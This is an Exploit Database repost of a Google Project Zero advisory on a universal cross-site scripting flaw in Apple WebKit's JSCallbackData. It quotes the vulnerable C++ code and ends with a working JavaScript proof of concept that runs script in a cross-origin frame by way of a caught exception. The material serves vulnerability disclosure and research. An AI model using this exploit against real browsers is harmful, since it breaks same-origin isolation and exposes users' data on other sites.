Apple Webkit – ‘JSCallbackData’ Universal Cross-Site Scripting

• Exploit Database
• 14 阅读

• 作者： Google Security Research
  日期： 2017-04-04
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/41800/

• <!--
  Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1068
  
  Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.
  
  class JSCallbackDataStrong : public JSCallbackData {
  public:
  JSCallbackDataStrong(JSC::JSObject* callback, void*)
  : m_callback(callback->globalObject()->vm(), callback)
  {
  }
  
  JSC::JSObject* callback() { return m_callback.get(); }
  JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }
  
  JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
  {
  return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
  }
  
  private:
  JSC::Strong<JSC::JSObject> m_callback;
  };
  
  JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
  {
  ASSERT(callback);
  
  auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject());<<<---------- (1)
  ASSERT(globalObject);
  
  ExecState* exec = globalObject->globalExec();
  JSValue function;
  CallData callData;
  CallType callType = CallType::None;
  
  if (method != CallbackType::Object) {
  function = callback;
  callType = callback->methodTable()->getCallData(callback, callData);
  }
  if (callType == CallType::None) {
  if (method == CallbackType::Function) {
  returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec));<<<---------- (2)
  return JSValue();
  }
  ...
  }
  ...
  }
  
  But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.
  
  PoC:
  -->
  
  "use strict";
  
  let f = document.body.appendChild(document.createElement("iframe"));
  f.onload = () => {
  f.onload = null;
  
  try {
  let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
  iterator.nextNode();
  } catch (e) {
  e.constructor.constructor("alert(location)")();
  }
  };
  
  f.src = "https://abc.xyz/";